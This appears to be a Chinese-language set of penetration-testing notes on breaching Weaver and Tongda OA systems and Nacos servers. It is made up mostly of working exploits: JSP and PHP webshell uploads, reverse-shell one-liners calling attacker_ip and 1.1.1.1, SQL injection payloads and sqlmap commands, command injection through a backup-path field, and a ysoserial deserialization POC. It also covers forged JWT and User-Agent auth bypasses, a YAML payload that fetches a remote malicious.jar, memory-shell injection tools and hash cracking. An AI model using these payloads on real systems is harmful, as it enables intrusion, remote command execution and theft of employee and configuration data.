# 常规外网打点-PART3(持续更新中......)
# OA
参考文章:活久见,竟然有人不知道OA是什么,我来给你扫盲吧!-CSDN博客
OA(Office Automation):企业办公自动化系统,是一种集成办公自动化软件和硬件设备的信息管理系统,旨在提高办公效率和管理效能
OA系统通常包括以下核心功能:
- 文档管理:集中存储电子文档,支持版本控制和权限设置,方便查阅和管理
- 流程审批:电子化处理请假、报销、采购等审批流程,实现实时跟踪和监控
- 会议管理:提供会议预约、通知、记录及自动提醒功能,提高会议效率
- 日程安排与任务分配:帮助员工合理安排工作计划和任务,提升协作效率
- 财务与合同管理:支持报销、发票、合同审批及管理
- 考勤与人事管理:记录员工考勤、请假及人力资源相关事务
- 企业信息共享:通过统一平台实现信息共享,减少重复劳动和信息孤岛
OA的作用:
- 提高办公效率:自动化处理文件、邮件、日程等事务,节省时间和精力。
- 优化工作流程:规范审批和业务流程,减少人工操作,提高工作质量。
- 促进信息共享与协作:统一平台和数据库,实现跨部门协作。
- 提升管理效能:对人员、资源、项目进行有效管理和监控。
- 降低企业成本:减少人力和资源浪费,提高运营效率。
# 泛微OA
参考文章:【Web安全】泛微OA框架SRC高频漏洞分析总结_泛微oa漏洞-CSDN博客
泛微OA系统特征及漏洞探测利用 - shinianyunyan - 博客园
泛微OA是国内主流的企业级协同办公系统,由泛微网络开发维护,涵盖三大核心产品线:
# 大型企业版
e-cology
# 中小企业版
e-office
# 移动办公版
e-wechat
# 移动办公云平台
eteams
# 政务办公平台
e-nation
其核心为“前端门户(用户交互层)”、“应用服务器(业务逻辑层,基于Java EE开发)”、“数据库(数据存储层,主流适配MySQL,Oracle)”,部分版本还集成Apache Commons Collections、Hessian等第三方组件
# 指纹识别
-
fofa语法:
# e-cology app="泛微-协同办公OA" # e-mobile app="泛微-EMoblie" # e-bridge app="泛微-云桥e-Bridge" # E-Weaver app="泛微-E-Weaver" # e-office app="泛微-EOffice" -
e-cology:url中存在
/wui/index.html关键字,登录处的图片上有e-cology字样 -
e-mobile:可以从web的icon和登录处的图片中识别,指纹为
M字样 -
e-bridge:可以看登录界面的背景图,有
e-Bridge字样 -
e-weaver:右击界面会有弹窗
高效源于协同,页面存在两个特殊的js:appres/hrm/js/mfcommon_wev8.js js/jquery/plugins/client/jquery.client_wev8.js -
e-office:url中的
/general/login/index.php,登录处的图片上有e-office字样
# 文件上传漏洞
影响范围为e-cology <= 8.5.0;e-office <= 10.1
其漏洞核心在于泛微OA的文件上传模块(如weaver.fileupload.FileUploadAction、e-office/portal/attachment.jsp)对上传文件的校验存在缺陷:
- 仅依赖前端JS校验文件后缀,后端未二次验证
- 未严格校验文件MIME类型与实际内容,允许篡改文件标识绕过
- 部分版本上传路径默认位于Tomcat webapps目录下,且未禁用脚本执行权限,导致上传的可执行脚本(
.jsp、.jspx)可直接运行
那么攻击者就可以利用burpsuite工具在发送请求包时修改文件后缀为.jsp写入反弹shell代码(如Java Runtime执行系统命令),上传后访问文件存储路径即可获取服务器权限
常见的漏洞接口有:
# e-cology
/page/exportImport/upuloadOperation.jsp
/weaver/weaver.file.FileDownloadForOutDoc
/weaver/weaver.common.Ctrl/upload
/weaver/bsh.servlet.BshServlet
/systeminfo/broswer/systemBroswer.jsp
/weaver/com.weaver.formmodel.apps.ktree.servlet.KtreeUploadAction
# e-office
/general/index/UploadFile.php
/inc/attachment/upload.php
/App/yyoa/attachment/upload.php
/webservice/upload/upload.php
/Emobile/App/Ajax/ajax.php
其常见文件保存路径为/attachment(如按年月划分的文件夹/attachment/202608)或/general目录下的某些子临时文件夹
payload:
<%@ page import="java.io.*"%>
<%
Runtime.getRuntime().exec("bash -i >& /dev/tcp/attacker_ip/4444 0>&1");
%>
然后可以尝试访问http://target/e-cology/attachment/shell.jsp,攻击机监听4444端口获取shell
# SQL注入漏洞
影响范围为e-cololgy <= 9.0.5;e-office <= 9.8
漏洞核心在于泛微OA部分业务接口(如流程查询、用户管理)未使用预编译语句导致直接拼接用户输入作为SQL语句执行,导致SQL注入,典型风险接口包括:
# e-cology
e-cology/weaver/common/Ctrl?id=1(id参数未过滤)
# e-office
e-office/hr/manage/query.jsp?dept=IT(dept参数直接拼接进SELECT语句)
# 启用BshServlet(/weaver/bsh.servlet.BshServlet)时,可通过BeanShell执行SQL语句
payload(通过SQL注入获取管理员账号密码哈希):
http://target:8080/e-cology/weaver/common/Ctrl?id=1 and 1=2 union select 1,username,password,4 from sys_user where role=1
之后可以通过提取响应中的username=admin和password=e10adc3949ba59abbe56e057f20f883e(md5加密的123456),通过彩虹表破解哈希获取管理员明文密码
除此之外,对于/mobile/plugin/checkServer.jsp的SQL注入,通常会利用时间盲注或报错注入,通过闭合单引号并拼接waitfor delay '0:0:5'(SQL Server)来验证注入存在,由于泛微e-cology很多时候后端对接的是SQL Server,甚至权限配置不当时可以通过xp_cmdshell直接利用SQL注入执行系统命令
LoginSSO.jsp盲注:单点登录(SSO)接口处理登录凭证时对输入的参数过滤不严
e-office的/general/index/inc/menu.php可通过URL传参:
?id=1 union select 1,2,database(),4 ...
利用联合注入查询敏感信息
# 未授权访问漏洞(全版本默认配置)
泛微OA部分核心接口未配置身份认证,无需登录即可访问敏感数据或执行操作:
# 数据接口
/e-cology/services/WorkflowService?wsdl 未授权获取流程数据
/e-office/api/user/list 未授权获取员工信息
# 功能接口
/weaver/weaver.report.reportViewAction 未授权导出财务报表
/e-cology/portal/notice.jsp 未授权查看内部公告
攻击者可以通过访问这些路由,比如/e-office/api/user/list直接获取员工姓名、手机号、邮箱等信息,进而调用WorkflowService接口下载所有审批流程表单,将数据整理后用于社工或黑产交易
# 命令注入漏洞
影响范围为e-cology <= 8.2.0;e-office <= 10.0
泛微OA”系统备份“、“日志导出”等功能模块存在命令拼接缺陷:
- 备份功能中,
backupPath参数直接拼接进cmd.exe /c xcopy或bash cp命令 - 日志导出功能中,
logName参数未过滤特殊字符;、|等,导致可额外注入系统命令
攻击者可以登录泛微OA管理员后台的话,进入”系统管理-数据备份“,在备份路径输入框中填写C:\backup;bash -i >& /dev/tcp/[IP]/4444 0>&1,然后开始备份,攻击机监听端口获取反弹shell
除此之外还有组件配置不当导致的直接命令执行(BshServlet RCE):楼东街口为/weaver/bsh.servlet.BshServlet,BeanShell是一个小型的嵌入式Java源代码解释器,泛微在早期某些版本中为了方便调试引入并对外暴露了BeanShell的Servelt接口,该接口没有做任何权限限制,攻击者可以通过向该接口POST提交纯粹的Java代码,通过调用Java的Runtime.getRuntime().exec(),可以执行任意系统命令:
bsh.script=exec("whoami");
# Hessian反序列化漏洞
影响范围为e-cology <= 7.5.0
该漏洞的核心在于泛微e-cology低版本使用Hessian协议进行远程调用(如调度中心和子模块通信),未对序列化数据进行过滤,结合Apache Commons Collection 3.1(含反序列化漏洞组件),攻击者可以构造恶意序列化数据触发任意代码执行
在泛微e-cology的历史版本中,为了实现接口的快速调用,系统暴露了一批接收二进制序列化流的接口,当移动端或其他客户端需要对服务端进行复杂对象传输时,会向这些接口发送Hessian编码的二进制流数据,后端Servlet接收到POST请求之后,会直接实例化HessianInput或Hessian2Input,并调用其readObject()方法解析数据包,Hessian,是一个轻量级RPC协议进行数据交互
常见的暴露接口:
/mobile/plugin/SyncUserInfo.jsp
/weaver/weaver.common.Ctrl/upload或相关的Ctrl路由
/mobile/plugin/browser/BasicBroswer.jsp
HttpMessage相关的系统内部调用接口
通常攻击者会向这些接口发送Content-Type为application/octet-stream或application/x-www-form-urlencoded的恶意Hessian数据包
可以通过反序列化注入内存马实现持久化控制:
使用ysoserial工具生成Hessian反序列化POC(基于CommonsCollections1gadget):
java -jar ysoserial.jar CommonsCollections1 "bash -i >& /dev/tcp/attacker_ip/4444 0>&1" > poc.ser
通过curl发送POC到Hessian接口:
curl -X POST "http://target:8080/e-cology/hessian/service" \
-H "Content-Type: x-application/hessian" \
--data-binary @poc.ser
攻击机获取shell之后植入冰蝎内存马
Hessian反序列化POC生成(e-cology 7.5):
// 基于ysoserial CommonsCollections1 gadget
import ysoserial.payloads.CommonsCollections1;
import java.io.FileOutputStream;
public class HessianPOC {
public static void main(String[] args) throws Exception {
CommonsCollections1 cc1 = new CommonsCollections1();
byte[] payload = cc1.getPayload("bash -i >& /dev/tcp/1.1.1.1/4444 0>&1");
FileOutputStream fos = new FileOutputStream("poc.ser");
fos.write(payload);
fos.close();
}
}
# 通达OA
# 文件上传与包含漏洞
参考文章:通达OA前台任意文件上传漏洞及文件包含漏洞导致getshell的示例分析-安全-PHP中文网
影响范围为V11、2017、2016、2015、2013及2013增强版
该漏洞无需登录,利用前台即可实现漏洞利用
# 2013
文件上传漏洞路径:/ispirit/im/upload.php
文件包含漏洞路径:/ispirit/interface/gatewy.php
# 2017
文件上传漏洞路径:/ispirit/im/upload.php
文件包含漏洞路径:/mac/gateway.php
攻击者可以通过抓取数据包、修改并重放数据包的方式上传后缀为jpg的木马文件攻击系统,payload:
POST /ispirit/im/upload.php HTTP/1.1Host: 172.16.0.45Cache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypyfBh2YB4pV8McGBAccept: */*Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8,ja;q=0.7,en;q=0.6,zh-TW;q=0.5Cookie: PHPSESSID=123Connection: closeContent-Length: 660------WebKitFormBoundarypyfBh2YB4pV8McGBContent-Disposition: form-data; name="UPLOAD_MODE"2------WebKitFormBoundarypyfBh2YB4pV8McGBContent-Disposition: form-data; name="P"123------WebKitFormBoundarypyfBh2YB4pV8McGBContent-Disposition: form-data; name="DEST_UID"1------WebKitFormBoundarypyfBh2YB4pV8McGBContent-Disposition: form-data; name="ATTACHMENT"; filename="jpg"Content-Type: image/jpeg<?php$command=$_POST['cmd'];$wsh = new COM('WScript.shell');$exec = $wsh->exec("cmd /c ".$command);$stdout = $exec->StdOut();$stroutput = $stdout->ReadAll();echo $stroutput;?>------WebKitFormBoundarypyfBh2YB4pV8McGB--
通过修改数据包包含之前上传的jpg木马文件即可实现通过修改cmd参数的值执行任意命令:
POST /ispirit/interface/gateway.php HTTP/1.1Host: 172.16.0.45Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 71json={"url":"/general/../../attach/im/2012/820434636.jpg"}&cmd=net user
也可通过修改数据包上传木马文件执行写入文件操作的木马后进行文件包含,然后冰蝎连接/ispirit/interface/shell.php
其他涉及文件上传/文件包含漏洞路径:
# <=v11.3
module/upload/upload.php
mobile/reportshop/report/getdata.php
ispirit/im/upload.php
ispirit/interface/gateway.php(文件包含)
# <=v11.5
swfupload.php
# <=v11.6
data_center/utils/upload.php
# <=v11.7
new/submit.php
# <=v11.8
api.ali.php
staff_info/update.php(文件包含/远程命令执行)
# <=v11.9
netdisk/upload.php
# 2015
reporttshop/utils/upload.php
# SQL注入漏洞
参考文章:通达OA 11.5 sql注入漏洞复现 - 雨中落叶 - 博客园
通达OA 11.5 SQL注入漏洞复现_如何判断通达oa版本-CSDN博客
影响范围为 11.5
# id参数存在sqli注入
某些低版本也无需登录可以实现注入,普通账号登录权限即可
参数位置:
/general/appbuilder/web/report/repdetail/edit?link_type=false&slot={}&id=2
可以通过修改数据包或者sqlmap进行注入攻击:
# 布尔盲注
id=(SELECT (CASE WHEN (2489=2489) THEN 2 ELSE (SELECT 2530 UNION SELECT 6370) END))
# 时间盲注
link_type=false&slot={}&id=2 OR (SELECT 4201 FROM (SELECT(SLEEP(5)))birR)
python sqlmap.py -u "http://[IP]/general/appbuilder/web/report/repdetail/edit?link_type=false&slot={}&id=2" -p "id" --cookie "PHPSESSID=; USER_NAME_COOKIE=test; OA_USER_ID=65; SID_65=f4586f66; _csrf=4c3bd17849ec492e8d49a4eb7ec85dc614f22fb1195264aee25c341f17953e2da%3A2%3A%7Bi%3A0%3Bs%3A5%3A%22_csrf%22%3Bi%3A1%3Bs%3A32%3A%22g-FcCpSREk0gavd50I0nIYzAhtkCzRrg%22%3B%7D" --batch --is-dba
另外还有一个参数位置:
SORT_ID,FILE_SORT
数据包类似:
POST /general/file_folder/swfupload_new.php HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36
Referer: http://192.168.202.1/general/meeting/myapply/details.php?affair=true&id=5&nosign=true&reminding=true
X-Resource-Type: xhr
Connection: close
Host: 192.168.77.137
Pragma: no-cache
x-requested-with: XMLHttpRequest
Content-Length: 433
x-wvs-id: Acunetix-Deepscan/186
Cache-Control: no-cache
accept: */*
origin: http://192.168.202.1
Accept-Language: en-US
Content-Type: multipart/form-data; boundary=----------GFioQpMK0vv2
------------GFioQpMK0vv2
Content-Disposition: form-data; name="ATTACHMENT_ID"
1
------------GFioQpMK0vv2
Content-Disposition: form-data; name="ATTACHMENT_NAME"
1
------------GFioQpMK0vv2
Content-Disposition: form-data; name="FILE_SORT"
2
------------GFioQpMK0vv2
Content-Disposition: form-data; name="SORT_ID"
0 RLIKE (SELECT (CASE WHEN (1=1) THEN 1 ELSE 0x28 END))
------------GFioQpMK0vv2--
payload:
RLIKE (SELECT (CASE WHEN (1=1) THEN 1 ELSE 0x28 END))
# 过滤单引号
RLIKE (SELECT (CASE WHEN (substr(user(),1,1)=0x72) THEN 1 ELSE 0x28 END))
# starttime参数
利用条件与id参数一样,普通账户即可,某些低版本无需登录
参数位置:
/general/appbuilder/web/calendar/calendarlist/getcallist
通过POST请求:
starttime=1&endtime=1598918400&view=month&condition=1
通过sqlmap可以得到一种payload:
starttime=1') AND (SELECT 8771 FROM (SELECT(SLEEP(5)))xrUG) AND ('CsEA'='CsEA&endtime=1598918400&view=month&condition=1
# orderby参数
利用条件同上
参数位置:
/general/email/inbox/get_index_data.php?asc=0&boxid=&boxname=inbox&curnum=0&emailtype=ALLMAIL&keyword=&orderby=3--&pagelimit=10&tag=×tamp=1598069103&total=
或者
/general/email/sentbox/get_index_data.php?asc=0&boxid=&boxname=sentbox&curnum=3&emailtype=ALLMAIL&keyword=sample%40email.tst&orderby=1&pagelimit=20&tag=×tamp=1598069133&total=
payload:(RLIKE (SELECT (CASE WHEN (1=1) THEN 1 ELSE 0x28 END)))
GET /general/email/inbox/get_index_data.php?asc=0&boxid=&boxname=inbox&curnum=0&emailtype=ALLMAIL&keyword=&orderby=1 RLIKE (SELECT (CASE WHEN (1=1) THEN 1 ELSE 0x28 END))&pagelimit=10&tag=×tamp=1598069103&total= HTTP/1.1
Host: 192.168.77.137
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Cookie: PHPSESSID=2jtfe5ckpfh9mklegtgs0t1e73; USER_NAME_COOKIE=test; OA_USER_ID=65; SID_65=9e1a1f39
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
这里用的是rlike()报错注入,rlike()是regrep_like()的同义词,rlike()遇到特殊字符(和)报错,于是表达式输出1正常回显,表达式错误输出特殊字符
# down接口信息泄露
通达OA的/inc/package/down.php接口存在未授权访问漏洞,攻击者可利用该漏洞下载敏感信息,如员工数据和系统配置等,可能导致严重的数据泄露和系统安全问题
poc:
../../../cache/org
正常情况下用户传入123,最后访问路由结果可能是/package/123.xml,传入../../../cache/org最后可能得到/package/../../../cache/org.xml,经过规范化路径之后可以实现目录穿越读取org.xml
# video_file.php任意文件下载漏洞
漏洞接口:
/general/mytable/intel_view/video_file.php
poc:
GET /general/mytable/intel_view/video_file.php?MEDIA_DIR=../../../inc/&MEDIA_NAME=oa_config.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; zh-CN; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10
Accept-Encoding: gzip, deflate, br
Connection: close
这个比较容易理解,将想要下载的文件名传参给MEDIA_NAME,MEDIA_DIR里面放上目录穿越的逻辑实现任意文件下载
# get_contactlist.php
参考文章:通达OA未授权访问漏洞深度剖析:get_contactlist.php敏感信息泄漏实战复现与修复_weixin_34289454-亚马逊云科技技术品牌专区
漏洞接口:
/mobile/inc/get_contactlist.php
该请求作用的常见参数包括:
P
KWORD
isuser_info
通过这三个参数我们可以控制联系人查询,而服务器没有充分检查访问权限于是会返回敏感用户信息
这里粘贴一下参考文章中师傅的自动化探测脚本:
import requests
import sys
import json
def check_vulnerability(url):
"""
检查指定的通达OA地址是否存在get_contactlist.php未授权访问漏洞。
"""
# 常见的可能存在漏洞的路径
paths = [
'/general/address/get_contactlist.php',
'/mobile/inc/get_contactlist.php',
'/inc/get_contactlist.php',
'/webroot/general/address/get_contactlist.php' # 其他可能路径
]
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
}
for path in paths:
target_url = url.rstrip('/') + path
try:
print(f"[*] 尝试访问: {target_url}")
# 发起一个不带任何会话信息的GET请求
response = requests.get(target_url, headers=headers, timeout=10, verify=False)
# 检查响应状态码和内容
if response.status_code == 200:
content = response.text
# 启发式判断:响应中包含常见的敏感字段关键词
keywords = ['real_name', 'mobile', 'email', 'user_id', 'dept_name']
if any(keyword in content for keyword in keywords) and ('login' not in content.lower()):
print(f"[!] 疑似存在漏洞: {target_url}")
print(f"[!] 响应预览: {content[:500]}...") # 打印前500字符
# 尝试解析JSON,更美观地输出
try:
data = response.json()
if isinstance(data, dict) and 'data' in data:
print(f"[+] 成功获取到 {len(data['data'])} 条联系人信息。")
for user in data['data'][:3]: # 打印前3条作为示例
print(f" - 姓名: {user.get('real_name')}, 手机: {user.get('mobile')}, 部门: {user.get('dept_name')}")
except json.JSONDecodeError:
pass
return True
else:
print(f"[-] 路径 {path} 可访问,但未检测到敏感数据格式。")
else:
print(f"[-] 路径 {path} 返回状态码: {response.status_code}")
except requests.exceptions.RequestException as e:
print(f"[-] 请求 {target_url} 失败: {e}")
continue
print("[-] 未发现明显的漏洞迹象。")
return False
if __name__ == "__main__":
if len(sys.argv) != 2:
print("用法: python3 check_tongda_oa.py <目标URL>")
print("示例: python3 check_tongda_oa.py http://192.168.1.100")
sys.exit(1)
target = sys.argv[1]
check_vulnerability(target)
# 常见内网web服务
在这一个部分我们学习nacos,xxl-job,大华,海康威视,H3C,Jenkins,hadoop,druid
# Nacos
参考文章:Nacos简介、安装与使用(保姆级教程!!!)-CSDN博客
# 实战攻防之Nacos漏洞(非常详细)从零基础到精通,收藏这篇就够了!-CSDN博客
Nacos是“Dynamic Naming and Configuration Service”的缩写,即动态命名与配置服务,它致力于帮助开发者更轻松地构建、管理和维护分布式系统中的服务,通过Nacos,开发者可以实现服务的自动注册与发现,动态配置管理,以及服务的健康检查等功能,大大简化了分布式系统的运维与开发,Nacos是一个开源的动态服务发现、配置和服务管理平台,由阿里巴巴开发和维护
# 获取nacos版本信息
访问/nacos/v1/console/server/state
# 默认口令
通过访问http://[IP]:8848/nacos/#/login进入登陆页面,默认口令为:
账号:nacos
密码:nacos
# 默认未开启鉴权-未授权查看用户信息
由于系统默认未开启鉴权,导致未授权访问nacos.core.auth.enabled=false,之后可以通过访问该路径未授权查看用户信息:
/nacos/v1/auth/usere?pageNo=1&pageSize=9
# User-Agent权限绕过(CVE-2021-29441)
影响范围为Nacos 1.4.1
在Nacos 1.4.1之前的版本,当系统配置为开启身份验证(即设置了-Dnacos.core.auth.enabled=true)时,系统会依赖AuthFilter这个Servlet过滤器来强制执行校验权限。该漏洞的根本原因在于AuthFilter的实现代码中存在逻辑缺陷,为方便Nacos节点之间的内部服务通信,代码中硬编码了一个针对User-AgentHTTP请求头的白名单,当过滤器检测到特定的User-Agent字符串时,会默认该请求来自于集群内部或其他服务器的安全通信,从而直接放行并跳过所有身份验证检查
即判断请求的user-agent是否为Nacos-Server,通过访问/nacos/v1/auth/users?pageNo=1&pageSize=100可以未授权查看账号密码
payload(未授权添加用户):
POST /nacos/v1/auth/users HTTP/1.1
Host:
User-Agent: Nacos-Server
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
If-Modified-Since: Wed, 28 Jul 2021 11:28:45 GMT
Priority: u=0, i
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
username=test&password=test123
查看用户是否添加成功:/nacos/v1/auth/search?username=test
删除用户:curl -X DELETE "http://47.83.174.204:8848/nacos/v1/auth/users?username=test"
# 默认JWT密钥-未授权访问
影响范围为0.1.0 <=nacos <= 2.2.0
开启了nacos.core.auth.enabled的情况下,如果未修改nacos.core.auth.default.token.secret.key(2.2.0及以前该值为默认值),则可以通过accessToken值来绕过权限
nacos.core.auth.default.token.secret.key=SecretKey012345678901234567890123456789012345678901234567890123456789 # =后边的是默认的硬编码
登录拿到响应包:
HTTP/1.1 200
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTc0NTY4MDYxOH0.ZLnKCsDmI768h5_ALTANhnvD0ObfSgetZj8LmUy8TjE
Content-Type: application/json;charset=UTF-8
Date: Sat, 26 Apr 2025 10:16:58 GMT
Keep-Alive: timeout=60
Connection: keep-alive
Content-Length: 181
{"accessToken":"eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTc0NTY4MDYxOH0.ZLnKCsDmI768h5_ALTANhnvD0ObfSgetZj8LmUy8TjE","tokenTtl":18000,"globalAdmin":true,"username":"nacos"}
客户端得到此accessToken后会使用此Token再次请求后端服务器,及通过该用户身份登录
payload:
GET /nacos/v1/auth/users?pageNo=1&pageSize=9&accessToken=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImlhdCI6MTc0NTgzNTYwOH0.gk9tFDRWDozKj-fsLAXSxnpojBklSaOVPNbUneqTSpw HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Origin: http://47.83.174.204:8848
Connection: keep-alive
Referer: http://47.83.174.204:8848/nacos/
Priority: u=0
由于返回的accessToken只是对账号进行加密得到的,而且nacos加密用户accessToken使用的JWT默认密钥加密,也就是只要知道nacos的用户,任何人都可以通过这个加密密钥得到对应用户的accessToken
# Derby未授权访问
影响范围为nacos <= 1.4.0,无论是否开启鉴权该漏洞都存在,nacos > 1.4.0中,默认未开启鉴权,这个漏洞也存在,若开启了鉴权且版本大于1.4.0则漏洞不存在
nacos带有一个嵌入式的小型数据库derby,默认无需认证即可被访问,并执行任意sql查询,导致敏感信息泄露,payload:
/nacos/v1/cs/ops/derby?sql=select * from users
# Nacos Client Yaml反序列化漏洞
在1.4.1版本中存在Nacos Client Yaml反序列化漏洞,该漏洞只影响单独使用 nacos-client SDK的用户。当目标应用从Nacos Server拉取并解析恶意的yaml配置文件时,由于底层解析库的缺陷,会导致客户端服务器执行攻击者注入的恶意代码
该漏洞的根本原因在于Nacos Client在处理.yaml或.yml格式的配置时,使用了不安全的YAML解析库,SnakeYAML
- SnakeYAML在反序列化YAML字符串时支持使用
!!语法来指定要实例化的类 Yaml.load():如果开发者直接调用SnakeYAML的Yaml.load()方法而不加任何类过滤(即没有使用SafeConstructor),解析器就会根据YAML文件中的类名去自动实例化对象,并调用其构造函数或相关的Setter/Getter方法- 攻击者可以构造特定的利用链,例如利用
javax.script.ScriptEngineManager或注入JNDI类,在对象实例化阶段执行任意系统命令
配置文件中被注入的恶意内容可能类似于以下形式:
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://attacker-ip:port/malicious.jar"]
]]
]
当Nacos Client尝试将上述YAML转化为Java对象时就会向攻击者的服务器发起请求下载malicious.jar,并在SPI(Service Provider Interface)机制时执行其中恶意代码
工具利用:https://github.com/artsploit/yaml-payload/
下载之后打包成jar包:
javac src/artsploit/AwesomeScriptEngineFactory.java
编译java文件
jar -cvf yaml-payload.jar -C src/ .
jar:Java 自带的归档工具(类似 tar 或 zip),用于创建、查看或解压 JAR 文件。
-c(create):创建一个新的 JAR 文件。
-v(verbose):显示详细输出(打包的文件列表)。
-f(file):指定生成的 JAR 文件名(这里是 yaml-payload.jar)。
-C src/:切换到 src/ 目录(相当于 cd src/)。
# Nacos Hessian反序列化漏洞
影响范围为 1.4.0 <= Nacos < 1.4.6;2.0.0 < Nacos <2.2.3
由于7848端口采用Hessian协议传输数据,反序列化未设置白名单导致储存在RCE漏洞
Nacos 1.x在单机模式下默认不开放7848端口,故通常不受此漏洞影响,但在集群模式下受影响,然而2.x版本无论单机或集群均默认开放7848端口,主要受影响的服务是Jraft端口
poc:https://github.com/c0olw/NacosRce
java -jar NacosRce.jar http://xxx:8848/nacos 7848 "whoami"
执行命令同时注入内存马,直接使用webshell管理工具进行连接即可
自动注入内存马并执行命令 java -jar NacosRce.jar Url Jraft端口 "Command"
java -jar NacosRce.jar http://192.168.90.1:8848/nacos 7848 "whoami"
只注入内存马
java -jar NacosRce.jar http://192.168.90.1:8848/nacos 7848 memshell
内存马说明:
一、冰蝎内存马:
1、需要设置请求头x-client-data:rebeyond
2、设置Referer:https://www.google.com/
3、路径随意
4、密码rebeyond
二、哥斯拉内存马:
1、需要设置请求头x-client-data:godzilla
2、设置Referer:https://www.google.com/
3、路径随意
4、密码是pass 和 key
三、CMD内存马:
1、需要设置请求头x-client-data:cmd
2、设置Referer:https://www.google.com/
3、请求头cmd:要执行的命令
v0.5版本实现了:
1、不出网漏洞利用
2、可多次发起漏洞利用
3、同时注入冰蝎/哥斯拉/CMD内存马
4、内存马对nacos多版本进行了兼容
tips:
1、请用jdk1.8
2、适用于 Nacos 2.x <= 2.2.2
3、非集群的也能打哦
4、此内存马重启nacos依然存活
关于Windows
如用下面的方式执行,注入内存马时会生成临时文件 C:\Windows\Temp\nacos_data_temp 和 C:\Windows\Temp\nacos_data_temp.class 文件
java -jar NacosRce.jar http://192.168.90.1:8848 7848 "whoami" windows
如果没有在最后加 windows,临时文件会在 /tmp/nacos_data_temp /tmp/nacos_data_temp.class,所以权限足够的话,不指定windows也能打成功
windows 没打成功也许是因为没权限操作C盘或其他原因
# Nacos RCE
这个漏洞主要出现在Nacos以单机模式运行并且使用默认的内置Apache Derby数据库时
这个漏洞涉及两个路径,其中derby就是CVE-2021-29441
/nacos/v1/cs/ops/data/removal
/nacos/v1/cs/ops/derby
/nacos/v1/cs/ops/data/removal接口原本用于接受包含多条SQL语句和文件上传,并对底层数据库执行这些脚本,通常用于数据清理或初始化,攻击者可以利用该接口上传包含恶意SQL的脚本文件,因为他可以一次性执行多条复杂的SQL语句(包括CALL存储过程和CREATE DDL语句),攻击者用它来完成写入恶意Jar包,修改类路径、注册恶意函数的前置准备工作
/nacos/v1/cs/ops/derby原本允许运维人员通过sql参数直接执行SELECT语句,以查询内置Derby数据库的状态,返回结果为JSON格式,由于该接口只能执行SELECT查询,攻击者在利用上一个接口注册好恶意函数之后会向这个接口发送一条特定的SELECT查询触发该函数,执行恶意的系统命令之后,命令的输出结果会随着数据库的查询结果一起在HTTP响应中返回
poc:GitHub - WingBy-Fkalis/Nacos_Rce: 网传nacos_rce漏洞poc · GitHub
当系统为未授权访问时可以直接触发RCE:
Nacos_Rce.py -t 192.168.67.129 -p 5000 -u http://192.168.67.134:8848 -c whoami
#-t vps ip
#-p 端口地址
#-u nacos web地址
# -c 指定命令
如果显示未知用户或者未找到用户,则表示nacos启用了鉴权需要伪造JWT绕过登陆授权,在文件Nacos_Rce.py文件中设置请求头即可。只要能够绕过登陆授权,就可能能RCE。
header = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Edg/114.0.1823.67',
'Authorization':'Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MzQ4MTM1NzA1NX0.92Mo2gkDFuPnUaD2v63SQl1IWtObfBxDTWgIhqvteM8'
}
# 密码破解
# nacos密码bcypt
hashcat -a 0 -m 3200 hashes.txt rockyou.txt -w 3 -O -D 1,2 --show
# 配置文件密文jasypt
java -cp jasypt-1.9.3.jar org.jasypt.intf.cli.JasyptPBEStringEncryptionCLI input="123456" password="salt123" algorithm="PBEWithMD5AndDES"
java -cp jasypt-1.9.3.jar org.jasypt.intf.cli.JasyptPBEStringDecryptionCLI input="MecKdyPwwkD+AqUKPy1GlQ==" password="salt123" algorithm="PBEWithMD5AndDES"
# 常用命令
http://127.0.0.1:8848/nacos/v1/console/server/state
http://xx.xx.xx.xx/v1/console/server/state
